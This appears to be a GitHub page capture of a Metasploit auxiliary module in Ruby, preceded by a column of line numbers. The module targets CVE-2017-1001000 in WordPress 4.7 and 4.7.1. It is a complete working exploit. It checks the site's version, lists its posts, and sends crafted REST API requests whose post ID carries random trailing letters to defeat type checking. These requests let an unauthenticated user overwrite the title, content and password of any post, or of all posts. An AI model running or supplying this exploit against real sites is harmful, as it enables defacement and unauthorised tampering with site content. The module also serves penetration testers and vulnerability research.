/
wordpress_content_injection.rb
216 lines (180 loc) · 5.74 KB
/
wordpress_content_injection.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress REST API Content Injection',
'Description' => %q{
This module exploits a content injection vulnerability in WordPress
versions 4.7 and 4.7.1 via type juggling in the REST API.
},
'Author' => [
'Marc Montpas', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE' , '2017-1001000'],
['WPVDB', '8734'],
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],
['URL', 'https://www.php.net/manual/en/language.types.type-juggling.php'],
['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],
['URL', 'https://developer.wordpress.org/rest-api/reference/posts/']
],
'DisclosureDate' => '2017-02-01',
'License' => MSF_LICENSE,
'Actions' => [
['LIST', 'Description' => 'List posts'],
['UPDATE', 'Description' => 'Update post']
],
'DefaultAction' => 'LIST'
))
register_options([
OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]),
OptString.new('POST_TITLE', [false, 'Post title']),
OptString.new('POST_CONTENT', [false, 'Post content']),
OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])
])
register_advanced_options([
OptInt.new('PostCount', [false, 'Number of posts to list', 100]),
OptString.new('SearchTerm', [false, 'Search term when listing posts'])
])
end
def check_host(_ip)
if (version = wordpress_version)
version = Rex::Version.new(version)
else
return Exploit::CheckCode::Safe
end
vprint_status("WordPress #{version}: #{full_uri}")
if version.between?(Rex::Version.new('4.7'), Rex::Version.new('4.7.1'))
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Detected
end
end
def run_host(_ip)
if !wordpress_and_online?
print_error("WordPress not detected at #{full_uri}")
return
end
case action.name
when 'LIST'
do_list
when 'UPDATE'
do_update
end
end
def do_list
posts_to_list = list_posts
if posts_to_list.empty?
print_status("No posts found at #{full_uri}")
return
end
tbl = Rex::Text::Table.new(
'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})",
'Columns' => %w{ID Title URL Password}
)
posts_to_list.each do |post|
tbl << [
post[:id],
Rex::Text.html_decode(post[:title]),
post[:url],
post[:password] ? 'Yes' : 'No'
]
end
print_line(tbl.to_s)
end
def do_update
posts_to_update = []
if datastore['POST_ID'] == 0
posts_to_update = list_posts
else
posts_to_update << {id: datastore['POST_ID']}
end
if posts_to_update.empty?
print_status("No posts to update at #{full_uri}")
return
end
posts_to_update.each do |post|
res = update_post(post[:id],
title: datastore['POST_TITLE'],
content: datastore['POST_CONTENT'],
password: datastore['POST_PASSWORD']
)
post_url = full_uri(wordpress_url_post(post[:id]))
if res && res.code == 200
print_good("SUCCESS: #{post_url} (Post updated)")
elsif res && (error = res.get_json_document['message'])
print_error("FAILURE: #{post_url} (#{error})")
end
end
end
def list_posts
posts = []
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(get_rest_api, 'posts'),
'vars_get' => {
'per_page' => datastore['PostCount'],
'search' => datastore['SearchTerm']
}
}, 3.5)
if res && res.code == 200
res.get_json_document.each do |post|
posts << {
id: post['id'],
title: post['title']['rendered'],
url: post['link'],
password: post['content']['protected']
}
end
elsif res && (error = res.get_json_document['message'])
vprint_error("Failed to list posts: #{error}")
end
posts
end
def update_post(id, opts = {})
payload = {}
payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}"
payload[:title] = opts[:title] if opts[:title]
payload[:content] = opts[:content] if opts[:content]
payload[:password] = opts[:password] if opts[:password]
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(get_rest_api, 'posts', id),
'ctype' => 'application/json',
'data' => payload.to_json
}, 3.5)
end
def get_rest_api
return @rest_api if @rest_api
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
}, 3.5)
if res && res.code == 200
@rest_api = parse_rest_api(res)
end
@rest_api ||= wordpress_url_rest_api
end
def parse_rest_api(res)
rest_api = nil
link = res.headers['Link']
html = res.get_html_document
if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}
rest_api = route_rest_api($1)
vprint_status('REST API found in Link header')
elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))
rest_api = route_rest_api(xpath)
vprint_status('REST API found in HTML document')
end
rest_api
end
def route_rest_api(rest_api)
normalize_uri(path_from_uri(rest_api), 'wp/v2')
end
end